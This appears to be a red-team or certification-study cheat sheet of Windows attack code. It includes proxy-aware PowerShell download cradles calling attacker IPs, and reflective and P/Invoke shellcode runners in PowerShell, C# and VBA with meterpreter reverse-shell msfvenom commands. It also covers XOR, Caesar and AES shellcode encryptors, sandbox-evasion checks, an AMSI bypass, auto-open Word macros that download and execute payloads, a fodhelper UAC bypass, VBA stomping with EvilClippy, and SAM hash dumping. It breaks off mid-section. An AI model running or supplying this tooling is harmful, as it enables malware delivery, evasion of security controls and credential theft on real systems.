- Find the correct user hive based on SID:
$keys = Get-ChildItem 'HKU:\'
ForEach ($key in $keys) {
if ($key.Name -like "*S-1-5-21-*") {
$start = $key.Name.substring(10)
break
}
}
- Fetch the proxy settings:
$proxyAddr = (Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer
- Create and assign the proxy object:
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://$proxyAddr")
$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run2.ps1")
Full Code for SYSTEM Proxy-Aware Download Cradle
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null
$keys = Get-ChildItem 'HKU:\'
ForEach ($key in $keys) {
if ($key.Name -like "*S-1-5-21-*") {
$start = $key.Name.substring(10)
break
}
}
$proxyAddr = (Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://$proxyAddr")
$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run2.ps1")

Note
- Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping
HKEY_USERS
will persist across reruns.
Reflection Load (In-memory)
Powershell
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.
This code below is same as Simple Shellcode Runner Powershell Ver 2
.
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {
If($_.Name -eq "GetProcAddress") {
$tmp+=$_
}
}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$lpMem =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(LookupFunc kernel32.dll VirtualAlloc),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(LookupFunc kernel32.dll CreateThread),
(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(LookupFunc kernel32.dll WaitForSingleObject),
(getDelegateType @([IntPtr], [Int32]) ([Int]))
).Invoke($hThread, 0xFFFFFFFF)
Shellcode Encryptors
Shellcode Encryptors – Helper code
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.
AES
using System;
using System.Security.Cryptography;
public class AesEncryptionExample
{
public static void Main()
{
byte[] shellcode = new byte[] { /* Your shellcode goes here */ };
byte[] key = Encoding.UTF8.GetBytes("0123456789ABCDEF0123456789ABCDEF"); // 32-byte key
byte[] iv = Encoding.UTF8.GetBytes("0123456789ABCDEF"); // 16-byte IV
byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);
string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace("-", "");
Console.WriteLine("Encrypted shellcode hex: " + encryptedHex);
}
public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)
{
byte[] encrypted;
using (AesManaged aes = new AesManaged())
{
aes.Key = key;
aes.IV = iv;
ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);
}
return encrypted;
}
}
Ceasar
CSharp shellcode
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp25
{
internal class FileName
{
static void Main(string[] args)
{
byte[] buf = new byte[510] {0xfc.....};
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
// For the current byte in 'buf':
// 1. Cast the byte to a uint (unsigned integer).
// 2. Add 2 to its value.
// 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte's range (0-255).
// 4. Assign the result to the corresponding position in the 'encoded' array.
encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
}
StringBuilder hex = new StringBuilder(encoded.Length * 2);
foreach (byte b in encoded)
{
hex.AppendFormat("0x{0:x2}, ", b);
}
Console.WriteLine("The payload is: " + hex.ToString());
// Rest of your code...
}
}
}
VBA Shellcode
using System;
using System.Text;
namespace XorCoder
{
public class Program
{
public static void Main(string[] args)
{
// Sample shellcode (replace with your own)
byte[] buf = { /* your shellcode byte array here */ };
// Encode using Caesar cipher by adding 2 to each byte
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
}
StringBuilder hex = new StringBuilder(encoded.Length * 2);
uint counter = 0; // Initialize counter
foreach (byte b in encoded)
{
hex.AppendFormat("{0:D}, ", b);
counter++;
if (counter % 50 == 0)
{
hex.AppendFormat("_{0}", Environment.NewLine);
}
}
Console.WriteLine("The payload is: ");
Console.WriteLine(hex.ToString());
}
}
}
XOR
CSharp – Encrypt csharp shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace XorCoder
{
public class Program
{
public static void Main(string[] args)
{
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
byte[] buf = new byte[511] {
0xfc,0x48,0x83,0xe4 };
// Encode the payload with XOR (fixed key)
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)((uint)buf[i] ^ 0xfa);
}
StringBuilder hex = new StringBuilder(encoded.Length * 2);
int totalCount = encoded.Length;
for (int count = 0; count < totalCount; count++)
{
byte b = encoded[count];
if ((count + 1) == totalCount) // Dont append comma for last item
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}
if ((count + 1) % 15 == 0)
{
hex.Append("\n");
}
}
Console.WriteLine($"XOR payload (key: 0xfa):");
Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};");
//// Decode the XOR payload
//for (int i = 0; i < buf.Length; i++)
//{
// buf[i] = (byte)((uint)buf[i] ^ 0xfa);
//}
}
}
}
VBA shellcode – Encrypt VBA shellcode
REMEMBER – Check if Word is running 32-bit or 64-bit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication
using System;
using System.Text;
namespace XorCoder
{
public class Program
{
public static void Main(string[] args)
{
// Sample shellcode (replace with your own)
byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };
// XOR encryption
byte[] encoded = new byte[buf.Length];
byte XORKey = 250;
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(buf[i] ^ XORKey);
}
StringBuilder hex = new StringBuilder(encoded.Length * 2);
int counter = 0; // Initialize counter
foreach (byte b in encoded)
{
hex.AppendFormat("{0:D}, ", b);
counter++;
if (counter % 50 == 0)
{
hex.AppendFormat("_{0}", Environment.NewLine);
}
}
Console.WriteLine("The XOR encoded payload is: ");
Console.WriteLine(hex.ToString());
}
}
}
Running encrypted shellcodes
AES
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
/*-----------------------------------------------
* Simple-Loader.exe: Simple Shellcode Loader |
* |
* Author: @jfaust0 |
* Contact: joshua.faust@sevrosecurity.com |
* Website: SevroSecurity.com |
* ---------------------------------------------*/
namespace goodTimes
{
class Program
{
// CHANGE THESE VALUES --> Seriosuly, these should not be hard coded!
public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };
public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };
// MAIN
static void Main(string[] args)
{
String app_name = AppDomain.CurrentDomain.FriendlyName;
String usage = $"Usage: {app_name} <path_to_metasploit_payload>";
// ENCRYPT PAYLOAD
if (args.Length == 1)
{
if (!File.Exists($@"{args[0]}"))
{
Console.WriteLine("[!] File Does Not Exist!");
Environment.Exit(1);
}
Console.WriteLine("[i] Encrypting Data");
// Read in MetaSploit Byte[] Code from File
String fileData = System.IO.File.ReadAllText($@"{args[0]}");
String tmp = (fileData.Split('{')[1]).Split('}')[0];
// Translate to Byte Array
string[] s = tmp.Split(',');
byte[] data = new byte[s.Length];
for (int i = 0; i < data.Length; i++)
data[i] = byte.Parse(s[i].Replace("0x", ""), System.Globalization.NumberStyles.HexNumber);
// Encrypt and Encode the data:
byte[] e_data = Encrypt(data, key, iv);
String finalPayload = Convert.ToBase64String(e_data);
Console.WriteLine($"[i] Replace the hiphop variable with your new payload:\n\n\t String hiphop = " + '"' + $"{finalPayload}" + '"' + ';');
Environment.Exit(0);
}
// THROW EXCEPTION IF MORE THAN 1 ARG
else if (args.Length > 1)
{
Console.WriteLine(usage);
Environment.Exit(1);
}
// RUN PAYLOAD
else
{
// msfvenom -p windows/exe cmd=calc.exe -f csharp --> CHANGE ME!
String hiphop = "ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o";
byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);
nonsense(de_data);
}
}
// Shell Code Loader
public static bool nonsense(byte[] shellcode)
{
try
{
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
catch (Exception e)
{
Console.Error.WriteLine("exception: " + e.Message);
return false;
}
}
// Used to Load Shellcode into Memory:
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Padding = PaddingMode.Zeros;
aes.Key = key;
aes.IV = iv;
using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, encryptor);
}
}
}
public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Padding = PaddingMode.Zeros;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}
private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}
}
Ceasar
Csharp shellcode
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle,
UInt32 dwMilliseconds);
static void Main(string[] args)
{
byte[] buf = new byte[510] {0xfe, 0x4a,.....
};
for(int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
}
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
VBA shellcode
Change the XOR vba runner with this
For i = 0 To UBound(buf)
buf(i) = buf(i) - 2
Next i
XOR
CSharp
using System.Runtime.InteropServices;
using System;
namespace rev
{
public class Program
{
public const uint EXECUTEREADWRITE = 0x40;
public const uint COMMIT_RESERVE = 0x3000;
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
[DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);
public static void Main()
{
DateTime t1 = DateTime.Now;
Sleep(10000);
double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
if (deltaT < 9.5)
{
return;
}
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
// XORed with key 0xfa
byte[] buf = new byte[511] {
0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa
};
int payloadSize = buf.Length;
IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
Marshal.Copy(buf, 0, payAddr, payloadSize);
IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);
int waitResult = WaitForSingleObject(payThreadId, -1);
}
}
}
VBA
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr
Private Declare PtrSafe Function FlsAlloc Lib "KERNEL32" (ByVal callback As LongPtr) As LongPtr
Sub LegitMacro()
Dim allocRes As LongPtr
Dim t1 As Date
Dim t2 As Date
Dim time As Long
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As LongPtr
' Call FlsAlloc and verify if the result exists
allocRes = FlsAlloc(0)
If IsNull(allocRes) Then
End
End If
' Sleep for 10 seconds and verify time passed
t1 = Now()
Sleep (10000)
t2 = Now()
time = DateDiff("s", t1, t2)
If time < 10 Then
Exit Sub
End If
' Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)
buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)
' Allocate memory space
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
' Decode the shellcode
For i = 0 To UBound(buf)
buf(i) = buf(i) Xor 250
Next i
' Move the shellcode
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
' Execute the shellcode
res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Simple Shellcode Runners
Csharp
If compiled for x64 remember to set architecture to x64 in visual studios.


using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main(string[] args)
{
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp
byte[] buf = new byte[630] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
// ... (other bytes)
0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
};
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
Powershell
Ver 1 – Ported from Csharp to Powershell
run.txt
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public
class Kernel32 {
[DllImport("kernel32")] public static extern IntPtr VirtualAlloc(
IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet = CharSet.Ansi)] public static extern IntPtr
CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)] public static extern UInt32
WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $Kernel32
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..
$size = $buf.Length
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
Ver 2
run.txt
# Compact AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true)
# Shellcode loader >:]
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
# Allocate executable memory
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
# Copy shellcode to allocated memory
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
# Execute shellcode and wait for it to exit
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),
(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),
(getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)
Trigger from Word Macro
# Trigger from Word Macro
Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.ps1') | IEX"
Shell str, vbHide
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
VBA
Create a macro in Word (See cheatsheet I) and insert code.
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
buf = Array(INSERT SHELLCODE HERE)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
UAC Bypass
Fodhelper.exe
$yourevilcommand = 'powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString(''http://192.168.45.198/run3.txt'')"'
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
VBA Stomping
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.
- Tools:
- Hex Editor: For inspecting contents of unzipped modern files
- FlexHEX: To inspect and edit the files
Steps to Perform VBA Stomping
- Inspect Shellcode Runner
- Use custom tools to inspect existing shellcode runners.
- Understanding File Formats
- Old Format: Compound File Binary Format.
- New Format: Similar to .zip files.
- Using FlexHEX
- Open FlexHEX.
- Navigate to File > Open > OLE Compound File .
- Open the Word document to inspect it.
- Inspect Macro Information
- For modern files, macros are stored in vbaProject.bin inside the zipped archive.
- Editing Macros
- Edit the PROJECT file in the navigator window to remove links to macros, using Edit > Insert Zero Block .
- Understanding P-Code
- P-Code: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.
- Usage: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.
- Performing VBA Stomping
- Goal: Remove VBA source code while retaining P-code to bypass detection but still execute the code.
- How:
- Open the document in FlexHEX.
- Locate the VBA source code in NewMacros .
- Select all bytes from “Attribute VB_Name” and remove it using Edit > Insert Zero Block .
- Save and re-compress the document.
- Testing
- Open the edited document in Word.
- Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.
Automating VBA Stomping Using Evil Clippy
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc
Evil Clippy: MS Office maldoc assistant | Outflank
Usage Examples:
- Print help:
EvilClippy.exe -h
- Hide macros from GUI:
EvilClippy.exe -g macrofile.doc
- Unhide macros:
EvilClippy.exe -gg macrofile.doc
- Stomp VBA (abuse P-code):
EvilClippy.exe -s fakecode.vba macrofile.doc
- Set target Office version for VBA stomping:
EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc
- Set random module names:
EvilClippy.exe -r macrofile.doc
- Reset random module names:
EvilClippy.exe -rr macrofile.doc
- Serve a VBA stomped template via HTTP:
EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot
- Set Locked/Unviewable attributes:
EvilClippy.exe -u macrofile.doc
- Remove Locked/Unviewable attributes:
EvilClippy.exe -uu macrofile.doc
Windows Credentials
SAM database
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.
Shadow Volume Copy Workaround
Create a snapshot of the local hard drive using WMIC. Need to launch from an administrative command prompt:
C:\> wmic shadowcopy call create Volume='C:\'
Verify shadow volume:
C:\> vssadmin list shadows
Copy SAM from shadow volume:
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam
Note: Run above command in cmd.exe , not in PowerShell.
Encrypting SAM Database
SAM is encrypted by RC4 or AES. Encryption keys are in the SYSTEM file. Copy SYSTEM file:
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system
Save SAM and SYSTEM from Registry
Using reg save command:
C:\> reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam
C:\> reg save HKLM\system C:\users\offsec.corp1\Downloads\system
Read SAM, SYSTEM and SECURITY
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
# Or using creddump
https://github.com/Neohapsis/creddump7
python pwdump.py /home/kali/system /home/kali/sam
Access Tokens
- Access tokens track user’s access rights after authentication.
- They are assigned to each process associated with the user.
- Access tokens are stored inside the kernel, preventing direct modification.
PrintSpoofer.exe
